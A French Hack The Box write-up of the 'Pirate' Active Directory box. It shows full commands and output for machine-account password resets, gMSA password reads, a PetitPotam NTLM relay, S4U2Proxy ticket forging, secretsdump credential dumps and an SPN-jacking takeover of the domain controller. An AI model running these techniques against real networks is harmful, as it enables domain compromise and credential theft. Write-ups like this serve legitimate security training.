HTB - Pirate
Writeup de la box Hack The Box Pirate
Pirate n’est pas encore retired, je n’encourage personne à lire ce writeup dans le but d’obtenir des solutions.
Introduction
HackTheBox Pirate est une box Windows / AD avec accès initial classée “hard” de HTB.
Plan global de l’attaque:
- Enumeration de la box DC01
- Accès initial via des comptes machine “Pre Windows 2000” non initialisés
- Exploitation de DACLs autorisant gMSA read pour accéder à un compte avec WinRM
- Pivot avec Ligolo et PetitPotam vers WEB01
- S4U2Proxy permettant l’accès Administrator à WEB01
- Escalade finale vers DC Admin exploitant l’attribution d’un SPN au DC (SPN Jacking)
Initial Access
Variables de début:
USER=pentest
PASS='p3nt3st2025!&'
DOMAIN=pirate.htb
DC=pirate.htb
Reconnaissance
On peut d’ores et déjà lancer un Bloodhound qui ne donne pas d’infos pour l’instant mais nous servira plus tard:
bloodhound-python -d PIRATE.htb -u pentest -p 'p3nt3st2025!&' -ns 10.129.244.95 -v --dns-timeout 65535
Ainsi qu’un scan Nmap:
└─$ nmap -A -vv pirate.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-20 17:31 EDT
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 64 Simple DNS Plus
80/tcp open http syn-ack ttl 64 Microsoft IIS httpd 10.0
88/tcp open kerberos-sec syn-ack ttl 64 Microsoft Windows Kerberos (server time: 2026-06-21 04:32:03Z)
135/tcp open msrpc syn-ack ttl 64 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 64 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 64
464/tcp open kpasswd5? syn-ack ttl 64
593/tcp open ncacn_http syn-ack ttl 64 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
2179/tcp open vmrdp? syn-ack ttl 64
3268/tcp open ldap syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
5985/tcp open http syn-ack ttl 64 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 0.27 ms pirate.htb (10.129.244.95)
Rien d’anormal ici non plus.
Et rien du côté d’enum4linux.
En revanche, l’énumération d’hôtes ayant l’auth pre Windows 2000 est intéressante:
└─$ ldapsearch -x -H ldap://pirate.htb -D "$USER@pirate.htb" -w "$PASS" -b "DC=pirate,DC=htb" "(cn=Pre-Windows 2000 Compatible Access)"
# Pre-Windows 2000 Compatible Access, Builtin, pirate.htb
dn: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=pirate,DC=htb
objectClass: top
objectClass: group
cn: Pre-Windows 2000 Compatible Access
description: A backward compatibility group which allows read access on all us
ers and groups in the domain
member: CN=EXCH01,CN=Computers,DC=pirate,DC=htb
member: CN=MS01,CN=Computers,DC=pirate,DC=htb
member: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
member: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pirate,DC=htb
distinguishedName: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=pirate,
DC=htb
...
# search result
search: 2
result: 0 Success
# numResponses: 5
# numEntries: 1
# numReferences: 3
On a donc deux comptes machines potentiellement accessibles: - EXCH01 : exch01 - MS01 : ms01
Ainsi:
└─$ nxc smb pirate.htb -u "computers.txt" -p "passwords.txt" --no-bruteforce
SMB 10.129.244.95 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:False)
SMB 10.129.244.95 445 DC01 [-] pirate.htb\MS01$:ms01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
SMB 10.129.244.95 445 DC01 [-] pirate.htb\EXCH01$:exch01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT: On doit set un nouveau password pour utiliser le compte.
Et donc:
bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u $USER -p $PASS set password 'MS01$' 'Azerty+1' --oldpass 'ms01'
[+] Password changed successfully!
bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u $USER -p $PASS set password 'EXCH01$' 'Azerty+1' --oldpass 'exch01'
[+] Password changed successfully!
En énumérant nos nouvelles permissions avec Bloodhound, on trouve un chemin d’attaque:



Ce chemin signifie que ‘MS01$’ peut lire les passwords des comptes gMSA:
└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'MS01$' -p 'Azerty+1' msldap gmsa
---------------------------------------------
Username: gMSA_ADCS_prod$
Allowed machine: pirate\Domain Secure Servers
Password: 908385b82179cb6763403c9924621452f9c8d9e1431a54ca5d9659d18f557a612482af5882ff4989be6879ada761fb86cd1d35561c0f83c54f107e68f35c2a541d444e768a89b54188634bba5ad666993ee7652452ba99faac5b61bd1140bcd63c1ab554d3dae6135eb151bca29eeff9ec5645228870d240df037d9537c06b12e6cfe18f1cc230daa86c5d9458c789bc2b89c59c5396cb1e0de67c29eda25134e12d7db4f16bd97f50208ce6331f13abbb901dcf05e0f388b6da1461f7f652c059b9ae4c088beda35ae621524f85e7a899ac575e51d5e1d25f6ab4e3ed727ddf6bd78b29fb81707bc487a7b1c5c3ddb148b2aded981755fb51a3c9da6adb4b7a
Password -NT-: 55d78485f8d9b2d2b37628227ebf936a
---------------------------------------------
Username: gMSA_ADFS_prod$
Allowed machine: pirate\Domain Secure Servers
Password: 36a33deafd5a8dff78b626b9d4e134add6ccbb12ed7c776e437eb0e92f38b3cafcba8a96641be258ad986c040cf8b2136e56c058bae0b0ce5b7d81fc8b3955f3decd1cfd135f7c0aa9ad7ee09ed5bd27aeff75511157f9411da629b8402d384dab3dde8d8caca8db3d9fca4056a80cdc9191b90fb99142f11d6750bda773e1d560bcfdd595dc2c0efd4e0e061588769473f9adb71d4e0658bfa14ee90a050e6ca0372ad9f20b1072d1800e1e0a67e62c53975054b13cfc1d046e5249a324eccb706a678e3c6af41a6ef2dc679c1b543c0f019f8cc50852899cf0ba505c692c15dc9a124c6c30cfbbb78c78d6cda30c49f979e7997318cfd50a24389499489074
Password -NT-: abad63faa669b6a4eddfd46432f7ca6c
---------------------------------------------
Et que l’on peut utiliser ‘gMSA_ADFS_prod$’ pour accéder aux machines en WinRM:
evil-winrm -i pirate.htb -u 'gMSA_ADFS_prod$' -H 'abad63faa669b6a4eddfd46432f7ca6c'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gMSA_ADFS_prod$\Documents>
Pas encore de flag à ce niveau…
En revanche on trouve un réseau interne:
*Evil-WinRM* PS C:\> ipconfig
Windows IP Configuration
Ethernet adapter vEthernet (Switch01):
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::d976:c606:587e:f1e1%8
IPv4 Address. . . . . . . . . . . : 192.168.100.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : .htb
IPv4 Address. . . . . . . . . . . : 10.129.47.209
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.129.0.1
Après établissement d’un Ligolo, le pingsweep retourne:
└─$ for ip in 192.168.100.{1..254}; do
ping -c 1 -W 1 $ip > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo "$ip is alive"
fi
done
192.168.100.1 is alive
192.168.100.2 is alive
192.168.100.2 est notre prochaine cible.
Pivot
A nouveau scanons la machine:
└─$ nmap -T3 -A -vvv 192.168.100.2
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Microsoft IIS httpd 10.0
135/tcp open msrpc syn-ack ttl 64 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 64 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 64
5985/tcp open http syn-ack ttl 64 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Nmap done: 1 IP address (1 host up) scanned in 61.04 seconds
Raw packets sent: 2045 (93.176KB) | Rcvd: 57 (3.080KB)
Rien de nouveau, un serveur Windows non DC cette fois.
Enumerations faites: - Pas d’accès SMB - Accès WinRM valide mais non privilégié, pas de privesc locale trouvée
En revanche, vue la configuration réseau (passerelle par le DC, Ligolo direct WEB01), ainsi que l’activation d’NTLM non signé, on peut penser à une coercion.
PetitPotam
Grâce au trigger de PetitPotam par le biais du DC, l’échange réseau est ainsi:
(1) Attaquant → WEB01
RPC EFS call
(2) WEB01 → Attaquant
SMB connect \\attacker\share
(3) Attaquant ↔ Cible
NTLM challenge/response
Il ne manque qu’un NTLM relay pour exploiter l’authentification malicieuse.
Commençons par créer une machine “receveuse” de notre futur S4U2Proxy:
impacket-addcomputer pirate.htb/$USER:$PASS -computer-name 'hihi$' -computer-pass 'Azerty+1'
Lançons un NTLM relay:
└─$ sudo impacket-ntlmrelayx -t ldaps://pirate.htb --delegate-access -smb2support -remove-target -escalate-user 'hihi$'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client WINRMS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled
[*] Servers started, waiting for connections
Puis lançons la coercion avec PetitPotam:
└─$ python3 PetitPotam.py -u "$USER" -p "$PASS" -d pirate.htb 10.10.15.105 web01.pirate.htb
Trying pipe lsarpc
[-] Connecting to ncacn_np:192.168.100.2[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Côté NTLMRelay, on reçois:
[*] (SMB): Received connection from 127.0.0.1, attacking target ldaps://pirate.htb
[*] (SMB): Authenticating connection from PIRATE/WEB01$@127.0.0.1 against ldaps://pirate.htb SUCCEED [1]
[*] ldaps://PIRATE/WEB01$@pirate.htb [1] -> Enumerating relayed user's privileges. This may take a while on large domains
[*] All targets processed!
[*] (SMB): Connection from 127.0.0.1 controlled, but there are no more targets left!
[*] ldaps://PIRATE/WEB01$@pirate.htb [1] -> Delegation rights modified succesfully!
[*] ldaps://PIRATE/WEB01$@pirate.htb [1] -> hihi$ can now impersonate users on WEB01$ via S4U2Proxy
Success !!
On peut maintenant faire un S4U2Proxy de ‘hihi$’ vers WEB01, pour vérifier:
└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'hihi$' -p 'Azerty+1' msldap s4u2proxy
S4U2Proxy set:
a.white_adm
Et récupérer un ST, le temps correct est nécessaire pour supporter Kerberos, d’où le faketime:
└─$ faketime -f '+25198.529300' impacket-getST -impersonate Administrator -spn cifs/web01.pirate.htb -dc-ip pirate.htb "pirate.htb"/"hihi$":'Azerty+1'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating a.white_adm
[*] Requesting S4U2self
[*] Changing service from NJBJEPPV$@PIRATE.HTB to cifs/WEB01$@PIRATE.HTB
[*] Saving ticket in Administrator@cifs_web01.pirate.htb@PIRATE.HTB.ccache
Et enfin s’authentifier à la machine:
export KRB5CCNAME='Administrator@cifs_web01.pirate.htb@PIRATE.HTB.ccache'
faketime -f '+25198.529300' impacket-psexec -k -no-pass web01.pirate.htb
Secretsdump nous donnera des résultats utilisables:
└─$ faketime -f '+25198.529300' impacket-secretsdump -k -no-pass web01.pirate.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x342dfe90cc4061078b79f011cd08f931
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:60da2d3ba00d6b5932e4c87dce6fa6b4:::
[*] Dumping cached domain logon information (domain/username:hash)
PIRATE.HTB/Administrator:$DCC2$10240#Administrator#8baf09ddc5830ac4456ee8639dd89644: (2026-02-25 02:41:09+00:00)
PIRATE.HTB/gMSA_ADFS_prod$:$DCC2$10240#gMSA_ADFS_prod$#66812dfee46ff41c9c8245a2819c3183: (2026-02-25 17:59:14+00:00)
PIRATE.HTB/a.white:$DCC2$10240#a.white#366c8924be3ea6d1d12825569a4bcc39: (2026-06-21 16:43:06+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
PIRATE\WEB01$:plain_password_hex:29f1505d87014b01b4317fed1d52ddbee2792a698e7e1de1bcdf29ab5d4b8e54828ce470d23491ba84e82d786622a821a14c730cf8610a32db1951b7619ee08c3bcacbab53aac8e052bd64e638c6bbd9529daacf04f86cfb9034808c4378d2c328c8c6afe7655f4a099dc41caeb6279c53313edcbd58db3e14490b7543ba3250ac200ec9834992b61b3f4319162645b50f402de4db0843fc43db7d54e04828abf86e490959bc88670e50f0b50373a3745f70039f8fd032435c4a725526957c7ae0dbaa81273b3aa28c0b029fea90c271b6601ef3ba7a05a13ec8c8ffd9999dd10eee87b4b9eb08a8a4af90710056f558
PIRATE\WEB01$:aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9:::
[*] DefaultPassword
PIRATE\a.white:E2nvAOKSz5Xz2MJu
[*] DPAPI_SYSTEM
dpapi_machinekey:0x01cffc2ef9a91d20107371f9a4a4112c892ed989
dpapi_userkey:0xa4fddb1b2df2db7cc3d044dc1b559bc1b45a1de9
...
[*] Cleaning up...
[*] Stopping service RemoteRegistry
On constate la présence d’un “DefaultPassword”, soit un password mis en cache en clair pour l’auth sans mot de passe.
On a donc les nouveaux creds: a.white : E2nvAOKSz5Xz2MJu
Escalade DACL
└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pirate,DC=htb
permission: WRITE
distinguishedName: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
permission: WRITE
distinguishedName: CN=Angela White,CN=Users,DC=pirate,DC=htb
permission: WRITE
distinguishedName: DC=pirate.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=pirate,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.pirate.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=pirate,DC=htb
permission: CREATE_CHILD
On peut écrire sur a.white_adm, qui est dans le groupe IT et donc intéressante:
bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' set password a.white_adm 'Azerty+1'
[+] Password changed successfully!
Encore un nouvel user: a.white_adm : Azerty+1
└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'a.white_adm' -p 'Azerty+1' get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pirate,DC=htb
permission: WRITE
distinguishedName: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
permission: WRITE
distinguishedName: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
permission: WRITE
distinguishedName: CN=WEB01,CN=Computers,DC=pirate,DC=htb
permission: WRITE
distinguishedName: CN=MS01,CN=Computers,DC=pirate,DC=htb
permission: WRITE
distinguishedName: CN=EXCH01,CN=Computers,DC=pirate,DC=htb
permission: WRITE
distinguishedName: DC=pirate.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=pirate,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.pirate.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=pirate,DC=htb
permission: CREATE_CHILD
Beaucoup de privilèges intéressants ici, en particulier:
distinguishedName: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
permission: WRITE
Mais ce WRITE ne signifie pas full access sur le DC.
Escalade finale
Commençons par détailler le droit WRITE sur DC01:
┌──(kali㉿kali)-[~]
└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'a.white_adm' -p 'Azerty+1' get writable --detail
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pirate,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
servicePrincipalName: WRITE
On peut donc écrire des SPN pour DC01 (et non pas des délégations).
L’avantage est qu’on a des SPN utilisables:
└─$ impacket-findDelegation -user 'a.white_adm' "$DOMAIN"/"$USER":"$PASSWORD"
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
AccountName AccountType DelegationType DelegationRightsTo SPN Exists
----------- ----------- ---------------------------------- --------------------- ----------
a.white_adm Person Constrained w/ Protocol Transition http/WEB01.pirate.htb No
a.white_adm Person Constrained w/ Protocol Transition HTTP/WEB01 No
Ils ne sont pas associés (SPN Exists: No), et peuvent être directement assignés au DC.
Cette attaque est un SPN Jacking.
On ajoute donc le SPN au DC:
└─$ python3 addspn.py -t 'DC01$' --spn "http/WEB01.pirate.htb" -u "$DOMAIN"\\"$USER" -p "$PASSWORD" "$DC_HOST"
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
┌──(kali㉿kali)-[~/krbrelayx]
└─$ impacket-findDelegation -user 'a.white_adm' "$DOMAIN"/"$USER":"$PASSWORD"
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
AccountName AccountType DelegationType DelegationRightsTo SPN Exists
----------- ----------- ---------------------------------- --------------------- ----------
a.white_adm Person Constrained w/ Protocol Transition http/WEB01.pirate.htb Yes
a.white_adm Person Constrained w/ Protocol Transition HTTP/WEB01 No
On requete un ST altservice sur CIFS:
faketime -f '+25198.529300' impacket-getST -spn "http/WEB01.pirate.htb" -impersonate "Administrator" -dc-ip "$DOMAIN" "$DOMAIN"/"$USER":"$PASS" -altservice cifs/DC01.pirate.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from http/WEB01.pirate.htb@PIRATE.HTB to cifs/DC01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache
On peut dump Administrator:
faketime -f '+25198.529300' impacket-secretsdump -k -no-pass DC01.pirate.htb \
-dc-ip pirate.htb -target-ip pirate.htb -just-dc-user Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:598295e78bd72d66f837997baf715171:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9918bbcfaaad184f895a36edb7aab5bff972912dcf436cf490fc6618cf7bfb56
Administrator:aes128-cts-hmac-sha1-96:7ab7e5b8e8c440068cb254a33a49973f
Administrator:des-cbc-md5:08c1f7b9269bba9d
[*] Cleaning up...
evil-winrm -i pirate.htb -u 'Administrator' -H '598295e78bd72d66f837997baf715171'
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
<redacted>